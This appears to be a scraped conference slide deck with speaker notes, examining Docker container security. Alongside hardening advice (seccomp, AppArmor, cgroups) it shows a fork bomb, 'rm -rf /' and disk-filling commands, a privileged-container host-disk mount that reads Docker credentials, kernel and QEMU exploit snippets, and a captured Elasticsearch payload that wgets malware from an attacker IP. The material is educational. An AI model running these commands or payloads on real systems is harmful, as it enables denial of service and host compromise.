KEMBAR78
How Secure Are Docker Containers? | PPTX
How Secure Are Containers?
@Ben_Hall
Ben@Katacoda.com
Katacoda.com
“Containers Don’t Contain”
How Secure Are Containers?
@Ben_Hall
Ben@Katacoda.com
Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Microsoft MVP – Cloud and Data Centre
Management
Tech Support > Tester > Developer > Founder
> Docker London Organiser
WHOAMI?
Learn for free via Interactive Browser-Based Labs
Katacoda.com
“What happens when you give
anonymous unrestricted
access to a hosted Docker container &
daemon?”
This is how we [try to] protect
ourselves
Google slowing down
$ whoami
$ pwd
$ cd /
$ ls
$ apt-get install <some package>
$ passwd
$ rm –rf /
Dockerfile
RUN adduser <new user>
USER <new user>
$ docker run –u <new user>
CanIHazNonPrivilegedContainers.info
$ whoami
root
$ fallocate 1000T /etc/hosts
Because of how Docker maps /etc/hosts,
this will fill the hosts Docker partition. Bye
bye system.
$ uptime
$ free -m
$ df -h
$ cat /proc/cpuinfo
$ uname -a
$ reboot
$ shutdown now
“It also allows the container to access local network
services + like D-bus and is therefore considered
insecure”
$ docker run --net=host -it ubuntu bash
root@ubuntu:/# shutdown now
root@ubuntu:/#
$ docker run --net=host -it ubuntu bash
Post http://docker:2345/v1.20/containers/create: EOF.
* Are you trying to connect to a TLS-enabled daemon without TLS?
* Is your docker daemon up and running?
--privileged Containers
$ docker run --privileged –d nginx
$ ./exploit
container> df –h
Filesystem Size Used Avail Use% Mounted on
overlay 19G 2.7G 15G 16% /
/dev/vda1 19G 2.7G 15G 16% /etc/hosts
shm 64M 0 64M 0% /dev/shm
container> mkdir -p /tmp2; mount /dev/vda1 /tmp2
container> ls /tmp2
container> cat /tmp2/root/.docker/config
Docker provides a lot out of the box
but not everything…
https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-1-1.pdf
:(){ :|: & };:
Resource Exhaustion
$ whoami
root
$ fallocate 1000T /etc/hosts
$ whoami
non-root-user
$ fallocate 1000T /mydata
Use ZFS file system. Enables Disk space quotas on
a per container level.
$ printf '%s ' {1..1310725} | xargs touch
$ df -i
Filesystem Inodes IUsed IFree IUse% Mounted on
/dev/xvda1 1310720 1310720 0 100% /
$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 59G 16G 43G 26% /
Privilege Escalation
Kernel (Ubuntu 16.04) BPF Exploit
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...n", stderr);
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}
https://www.exploit-db.com/exploits/39772/
Restrictions
• Namespaces – What can I see
• Capabilities – What can I do?
• Cgroups – How much of something can I use?
• Seccomp – What can I call?
• AppArmor – What can my app do?
Cgroup Settings
• Limit a container to a share of the resource
> --cpu-shares
> --cpuset-cpus
> --memory-reservation
> --kernel-memory
> --blkio-weight (block IO)
> --device-read-iops
> --device-write-iops
Seccomp & AppArmor
Everything is a syscall
• In Linux all applications interact with Kernel
via System Calls
• strace outputs all the calls
• Limit what calls can or cannot be executed
{
"name": ”open",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": ”read",
"action": "SCMP_ACT_ALLOW",
"args": []
}
{
"name": "fchmodat",
"action": "SCMP_ACT_ERRNO",
"args": []
}
{
"name": ”modify_ldt",
"action": "SCMP_ACT_ERRNO",
"args": []
}
{
"name": ”mmap",
"action": "SCMP_ACT_ERRNO",
"args": []
}
$ docker run 
--security-opt=”seccomp:nodirtycow.json” 
amouat/dirty-cow-test
AppArmor
$ cat docker-nginx
#include <tunables/global>
profile docker-nginx
flags=(attach_disconnected,mediate_deleted) {
#include <abstractions/base>
network inet tcp,
network inet udp,
network inet icmp,
deny network raw,
deny network packet,
file,
umount,
deny /bin/** wl,
deny /boot/** wl,
deny /dev/** wl,
deny /etc/** wl,
deny /home/** wl,
deny /lib/** wl,
deny /lib64/** wl,
/usr/sbin/nginx ix,
deny /bin/dash mrwklx,
deny /bin/sh mrwklx,
deny /usr/bin/top mrwklx,
capability chown,
capability dac_override,
capability setuid,
capability setgid,
capability net_bind_service,
deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx,
deny @{PROC}/sysrq-trigger rwklx,
deny @{PROC}/mem rwklx,
deny @{PROC}/kmem rwklx,
deny @{PROC}/kcore rwklx,
deny mount,
deny /sys/[^f]*/** wklx,
deny /sys/f[^s]*/** wklx,
deny /sys/fs/[^c]*/** wklx,
deny /sys/fs/c[^g]*/** wklx,
https://github.com/docker/libentitlement
$ docker run --rights=network.admin nginx:latest
Intel Clear Containers
https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits-dirty-cow
https://clearlinux.org/blogs/how-intel%C2%AE-clear-containers-protects-against-root-kernel-exploits-dirty-cow
Container Security Solutions
What happens when it all goes
wrong?
Hosting provider becomes unhappy
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss
Read Only Containers
> docker run –-read-only 
–v /data:/data 
elasticsearch
Read Only Containers
> docker run –-read-only 
--security-opt=no-new-privileges 
--security-opt="apparmor:es-profile” 
–v /data:/data 
elasticsearch
Is Docker Secure?
• Yes. Docker is secure*
• Make sure you enable the security features
• ElasticSearch hack would have taken over
entire box
• But only as secure as your practices
$ docker run benhall/cute-kittens
Error: Missing docker.sock
Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock
benhall/cute-kittens
$ docker run 
-v /var/run/docker.sock:/var/run/docker.sock 
benhall/cute-kittens
if [ -e /var/run/docker.sock ]; then
echo "**** Launching ****”
docker run --privileged busybox ls /dev
echo "**** Cute kittens ****"
else
echo "Error: Missing docker.sock”
fi
$ docker run 
-v /var/run/docker.sock:/var/run/docker.sock 
-p 80:80
vulnerable-application
DockerBench.com
Katacoda Security Content @
https://katacoda.com/courses/doc
ker-security
Security Without Containers?
Think VMs contain?
CVE-2016-3710: QEMU: out-of-bounds memory access issue
Venom QEMU/KVM – Attack via floppy driver
#include <sys/io.h>
#define FIFO 0x3f5
int main() {
int i;
iopl(3);
outb(0x0a,0x3f5); /* READ ID */
for (i=0;i<10000000;i++)
outb(0x42,0x3f5); /* push */
}
Privileged containers are not Contained!
Docker.sock file is sensitive!
https://katacoda.com/courses/docker-security
Apply Seccomp, AppArmor, PidsLimit
They will save you when things go wrong
Remember, run Docker / Kubernetes Bench
IDS and Container Security tooling are still key
@Ben_Hall
Ben@Katacoda.com
www.Katacoda.com

How Secure Are Docker Containers?

  • 1.
    How Secure AreContainers? @Ben_Hall Ben@Katacoda.com Katacoda.com
  • 3.
  • 5.
    How Secure AreContainers? @Ben_Hall Ben@Katacoda.com Katacoda.com
  • 6.
    @Ben_Hall / Blog.BenHall.me.uk MicrosoftMVP – Cloud and Data Centre Management Tech Support > Tester > Developer > Founder > Docker London Organiser WHOAMI?
  • 7.
    Learn for freevia Interactive Browser-Based Labs Katacoda.com
  • 8.
    “What happens whenyou give anonymous unrestricted access to a hosted Docker container & daemon?” This is how we [try to] protect ourselves
  • 10.
  • 11.
    $ whoami $ pwd $cd / $ ls $ apt-get install <some package> $ passwd $ rm –rf /
  • 13.
    Dockerfile RUN adduser <newuser> USER <new user> $ docker run –u <new user>
  • 14.
  • 15.
    $ whoami root $ fallocate1000T /etc/hosts Because of how Docker maps /etc/hosts, this will fill the hosts Docker partition. Bye bye system.
  • 16.
    $ uptime $ free-m $ df -h $ cat /proc/cpuinfo $ uname -a
  • 18.
  • 20.
    “It also allowsthe container to access local network services + like D-bus and is therefore considered insecure” $ docker run --net=host -it ubuntu bash root@ubuntu:/# shutdown now root@ubuntu:/# $ docker run --net=host -it ubuntu bash Post http://docker:2345/v1.20/containers/create: EOF. * Are you trying to connect to a TLS-enabled daemon without TLS? * Is your docker daemon up and running?
  • 21.
  • 22.
    $ docker run--privileged –d nginx $ ./exploit container> df –h Filesystem Size Used Avail Use% Mounted on overlay 19G 2.7G 15G 16% / /dev/vda1 19G 2.7G 15G 16% /etc/hosts shm 64M 0 64M 0% /dev/shm container> mkdir -p /tmp2; mount /dev/vda1 /tmp2 container> ls /tmp2 container> cat /tmp2/root/.docker/config
  • 23.
    Docker provides alot out of the box but not everything… https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2016/april/ncc_group_understanding_hardening_linux_containers-1-1.pdf
  • 24.
  • 26.
  • 27.
    $ whoami root $ fallocate1000T /etc/hosts $ whoami non-root-user $ fallocate 1000T /mydata Use ZFS file system. Enables Disk space quotas on a per container level.
  • 28.
    $ printf '%s' {1..1310725} | xargs touch $ df -i Filesystem Inodes IUsed IFree IUse% Mounted on /dev/xvda1 1310720 1310720 0 100% / $ df -h Filesystem Size Used Avail Use% Mounted on /dev/sda1 59G 16G 43G 26% /
  • 29.
  • 30.
    Kernel (Ubuntu 16.04)BPF Exploit int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now...n", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } https://www.exploit-db.com/exploits/39772/
  • 35.
    Restrictions • Namespaces –What can I see • Capabilities – What can I do? • Cgroups – How much of something can I use? • Seccomp – What can I call? • AppArmor – What can my app do?
  • 36.
    Cgroup Settings • Limita container to a share of the resource > --cpu-shares > --cpuset-cpus > --memory-reservation > --kernel-memory > --blkio-weight (block IO) > --device-read-iops > --device-write-iops
  • 37.
  • 38.
    Everything is asyscall • In Linux all applications interact with Kernel via System Calls • strace outputs all the calls • Limit what calls can or cannot be executed
  • 40.
    { "name": ”open", "action": "SCMP_ACT_ALLOW", "args":[] } { "name": ”read", "action": "SCMP_ACT_ALLOW", "args": [] } { "name": "fchmodat", "action": "SCMP_ACT_ERRNO", "args": [] }
  • 43.
  • 44.
  • 45.
    $ docker run --security-opt=”seccomp:nodirtycow.json” amouat/dirty-cow-test
  • 46.
  • 47.
    $ cat docker-nginx #include<tunables/global> profile docker-nginx flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> network inet tcp, network inet udp, network inet icmp, deny network raw, deny network packet, file, umount, deny /bin/** wl, deny /boot/** wl, deny /dev/** wl, deny /etc/** wl, deny /home/** wl, deny /lib/** wl, deny /lib64/** wl, /usr/sbin/nginx ix, deny /bin/dash mrwklx, deny /bin/sh mrwklx, deny /usr/bin/top mrwklx, capability chown, capability dac_override, capability setuid, capability setgid, capability net_bind_service, deny @{PROC}/{*,**^[0-9*],sys/kernel/shm*} wkx, deny @{PROC}/sysrq-trigger rwklx, deny @{PROC}/mem rwklx, deny @{PROC}/kmem rwklx, deny @{PROC}/kcore rwklx, deny mount, deny /sys/[^f]*/** wklx, deny /sys/f[^s]*/** wklx, deny /sys/fs/[^c]*/** wklx, deny /sys/fs/c[^g]*/** wklx,
  • 48.
    https://github.com/docker/libentitlement $ docker run--rights=network.admin nginx:latest
  • 50.
  • 51.
  • 52.
  • 53.
  • 57.
    What happens whenit all goes wrong?
  • 58.
  • 61.
    org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: ParseFailure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();" }}}]] http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
  • 62.
    C /bin C /bin/netstat C/bin/ps C /bin/ss C /etc C /etc/init.d A /etc/init.d/DbSecuritySpt A /etc/init.d/selinux C /etc/rc1.d A /etc/rc1.d/S97DbSecuritySpt A /etc/rc1.d/S99selinux C /etc/rc2.d A /etc/rc2.d/S97DbSecuritySpt A /etc/rc2.d/S99selinux C /etc/rc3.d A /etc/rc3.d/S97DbSecuritySpt A /etc/rc3.d/S99selinux C /etc/rc4.d A /etc/rc4.d/S97DbSecuritySpt A /etc/rc4.d/S99selinux C /etc/rc5.d http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/ A /etc/rc5.d/S97DbSecuritySpt A /etc/rc5.d/S99selinux C /etc/ssh A /etc/ssh/bfgffa A /os6 A /safe64 C /tmp A /tmp/.Mm2 A /tmp/64 A /tmp/6Sxx A /tmp/6Ubb A /tmp/DDos99 A /tmp/cmd.n A /tmp/conf.n A /tmp/ddos8 A /tmp/dp25 A /tmp/frcc A /tmp/gates.lod A /tmp/hkddos A /tmp/hsperfdata_root A /tmp/linux32 A /tmp/linux64 A /tmp/manager A /tmp/moni.lod A /tmp/nb A /tmp/o32 A /tmp/oba A /tmp/okml A /tmp/oni A /tmp/yn25 C /usr C /usr/bin A /usr/bin/.sshd A /usr/bin/dpkgd A /usr/bin/dpkgd/netstat A /usr/bin/dpkgd/ps A /usr/bin/dpkgd/ss
  • 63.
    Read Only Containers >docker run –-read-only –v /data:/data elasticsearch
  • 64.
    Read Only Containers >docker run –-read-only --security-opt=no-new-privileges --security-opt="apparmor:es-profile” –v /data:/data elasticsearch
  • 66.
    Is Docker Secure? •Yes. Docker is secure* • Make sure you enable the security features • ElasticSearch hack would have taken over entire box • But only as secure as your practices
  • 67.
    $ docker runbenhall/cute-kittens Error: Missing docker.sock Usage: docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens $ docker run -v /var/run/docker.sock:/var/run/docker.sock benhall/cute-kittens
  • 68.
    if [ -e/var/run/docker.sock ]; then echo "**** Launching ****” docker run --privileged busybox ls /dev echo "**** Cute kittens ****" else echo "Error: Missing docker.sock” fi
  • 69.
    $ docker run -v /var/run/docker.sock:/var/run/docker.sock -p 80:80 vulnerable-application
  • 77.
  • 78.
    Katacoda Security Content@ https://katacoda.com/courses/doc ker-security
  • 79.
  • 81.
    Think VMs contain? CVE-2016-3710:QEMU: out-of-bounds memory access issue Venom QEMU/KVM – Attack via floppy driver #include <sys/io.h> #define FIFO 0x3f5 int main() { int i; iopl(3); outb(0x0a,0x3f5); /* READ ID */ for (i=0;i<10000000;i++) outb(0x42,0x3f5); /* push */ }
  • 83.
    Privileged containers arenot Contained! Docker.sock file is sensitive! https://katacoda.com/courses/docker-security Apply Seccomp, AppArmor, PidsLimit They will save you when things go wrong Remember, run Docker / Kubernetes Bench IDS and Container Security tooling are still key
  • 84.

Editor's Notes

  • #9 same problem as applications when they’ve been hacked…
  • #17 Docker doesn’t support Kernel Virtualisation… hence information from host kernel is leaked
  • #21 User namespaces in 1.9 removes net=host https://github.com/dotcloud/docker/issues/6401
  • #25 :(){ :|:& };: \_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start two more. | | |||| |\- Definition ends now, to be able to run ... | | |||| \- End of function-block | | |||\- disown the functions (make them a background process), so that the children of a parent | | ||| will not be killed when the parent gets auto-killed | | ||\- ... another copy of the ':'-function, which has to be loaded into memory. | | || So, ':|:' simply loads two copies of the function, whenever ':' is called | | |\- ... and pipe its output to ... | | \- Load a copy of the function ':' into memory ... | \- Begin of function-definition \- Define the function ':' without any parameters '()' as follows:
  • #69 https://github.com/jerbia/container_hack
  • #85 tom's kitchen